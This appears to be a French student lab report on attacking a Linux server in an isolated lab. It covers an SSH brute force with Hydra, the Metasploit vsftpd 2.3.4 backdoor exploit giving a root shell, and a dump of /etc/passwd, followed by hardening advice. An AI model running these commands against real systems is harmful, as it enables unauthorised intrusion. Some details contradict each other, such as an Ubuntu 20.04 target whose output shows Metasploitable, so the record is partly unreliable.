

COMPTE RENDU DU TP 3.1_CHAPITRE 3 : ATTAQUE D'UN SERVEUR LINUX (UBUNTU)

1. Introduction

1.1 Objectif du TP

L'objectif de ce TP est de mettre en pratique une attaque contrôler sur un serveur Linux vulnérable afin de comprendre le processus d'intrusion de bout en bout de la reconnaissance a la prise de contrôle.

1.2 Environnement de Laboratoire

Le travail se fera dans le cadre de l'entreprise Net Secure. Deux machines sont impliquées dans ce cas :

- Machine attaquante : Kali Linux — adresse IP 192.168.56.30
- Machine cible : Ubuntu Server — adresse IP 192.168.56.10

2. Attaque par Brute Force SSH (Partie 1)

➤ Vérification préalable

Avant de lancer l'attaque, il convient de s'assurer que la machine cible est joignable et que le service SSH est actif.

Commande de ping : ping 192.168.56.10

Vérification du service SSH sur la cible : sudo systemctl status ssh

La commande suivante a été exécutée depuis Kali Linux : hydra -l nono -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10

```
(sarahyoukoudjio@sarah)~$ sudo hydra -l nono -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 14:20:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[STATUS] 158.00 tries/min, 158 tries in 00:01h, 14344242 to do in 1513:07h, 15 active
[STATUS] 105.33 tries/min, 316 tries in 00:03h, 14344084 to do in 2269:39h, 15 active
[STATUS] 98.71 tries/min, 691 tries in 00:07h, 14343709 to do in 2421:46h, 15 active
[22][ssh] host: 192.168.56.10 login: nono password: 1234
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 14:31:55
```

Explication des paramètres :

- -l student : nom d'utilisateur ciblé
- -P /usr/share/wordlists/rockyou.txt: liste de mots de passe à tester
- Ssh:// : protocole et adresse de la cible

Interprétation : on peut voir sur cette image que le mot de passe de la machine ubuntu 192.168.56.10 attaché à l'utilisateur nono est 1234

➤ Connexion SSH avec les identifiants découverts

Une fois le mot de passe trouvé, connexion au serveur cible : ssh student@192.168.56.10 Puis saisir le mot de passe découvert.

```
(sarahyoukoudjio@sarah)-[~]
$ ssh nono@192.168.56.10
nono@192.168.56.10's password:
Permission denied, please try again.
nono@192.168.56.10's password:
Permission denied, please try again.
nono@192.168.56.10's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

182 additional security updates can be applied with ESM Infra.
Learn more about enabling ESM Infra service for Ubuntu 20.04 at
https://ubuntu.com/20-04
```

Observations après connexion : Une fois connecté, les commandes suivantes sont exécutées pour observer l'environnement :Whoami; pwd; ls

```
nono@nono:~$ whoami
nono
nono@nono:~$ pwd
/home/nono
nono@nono:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
nono@nono:~$
```

3. Exploitation d'un service vulnérable avec Metasploit (Partie 2)

Sur la machine Ubuntu, on installe un serveur FTP vulnérable (vsftpd version 2.3.4, contenant une backdoor connue) :

`sudo apt install vsftpd -y vsftpd`. Ici, nous avons forcé l'installation d'une version vulnérable (vsftpd version 2.3.4) avec un backdoor pris sur GitHub pour pouvoir l'exploiter dans la suite du TP.

- Lancement de Metasploit : Depuis Kali Linux, lancer la console Metasploit avec la commande `msfconsole`
- Recherche et sélection de l'exploit : Dans Metasploit, rechercher un module adapté à vsftpd : `search vsftpd`

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes
VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Sélectionner et configurer l'exploit :

- `use exploit/unix/ftp/vsftpd_234_backdoor`
- `set RHOSTS 192.168.56.10`
- `run`

4. Résultat — Obtention du shell

Si la cible est vulnérable, Metasploit ouvre une session shell sur la machine cible. Le message affiché est : **Command shell session opened**

```
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.10:21 - Banner: 220 Welcome to FTP service.
[*] 192.168.56.10:21 - USER: 331 Please specify the password.
[*] 192.168.56.10:21 - Backdoor service has been spawned, handling...
[*] 192.168.56.10:21 - UID: uid=0(root) gid=0(root) groupes=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.56.30:41949 -> 192.168.56.10:6200) at 2026-04-26 07:10:41 -0400

whoami
root
```

L'attaquant exploite directement une faille logicielle du service vsftpd 2.3.4. La commande

whoami nous permet de voir que nous sommes connectés en tant qu'administrateur donc nous avons tous les droits.

5. Comprendre la compromission (Partie 3)

Une fois à l'intérieur du système, exécuter les commandes suivantes : `cat /etc/passwd`

Objectif : Observer les utilisateurs présents sur la machine.

```
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
nono:x:1003:1003,,,:/home/nono:/bin/bash
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

On peut voir ici que la cible a un compte

`uname -a`

Objectif : Identifier la version du système pour préparer d'autres attaques

6. Analyse de la compromission

- Depuis l'accès obtenu, un attaquant réel pourrait :
 - Explorer le système de fichiers à la recherche de données sensibles ;
 - Installer des outils malveillants ;
 - Établir une persistance pour maintenir l'accès même après redémarrage ;
 - Pivoter vers d'autres machines du réseau interne.
- Risques pour l'entreprise

Ces compromissions exposent l'entreprise aux risques suivants :

- Vol ou fuite de données confidentielles ;

- Interruption de service (destruction de données, ransomware) ;
- Atteinte à la réputation et sanctions réglementaires ;
- Propagation latérale vers d'autres systèmes critiques.

6. Utilisation avancée des outils

- Hydra — Variante multi-utilisateurs Pour tester plusieurs utilisateurs simultanément :

hydra -L users.txt -P passwords.txt ssh://IP

- Metasploit — Commandes complémentaires Commandes utiles dans Metasploit pour l'analyse :
- show options : Affiche les paramètres configurables du module actif (RHOSTS, RPORT, etc.).
- info : Donne des informations détaillées sur l'exploit : description, auteur, CVE associé.
- Sessions : Liste toutes les sessions actives ouvertes par Metasploit sur des cibles compromises

7. Recommandations de sécurité

Ce TP démontre que des mauvaises pratiques de configuration peuvent conduire rapidement à la compromission d'un système. Voici les mesures correctives à mettre en place :

- Désactiver l'authentification par mot de passe SSH et utiliser exclusivement des clés SSH ;
- Appliquer une politique de mots de passe robuste (longueur minimale, complexité) ;
- Mettre à jour régulièrement tous les services et composants logiciels ;
- Supprimer ou désinstaller les services inutilisés ou vulnérables ;

Conclusion

Ce travail pratique a permis de mettre en évidence la facilité avec laquelle un système peut être compromis lorsque les mesures de sécurité élémentaires ne sont pas respectées. À travers l'utilisation d'outils spécialisés, il apparaît clairement que des attaques courantes.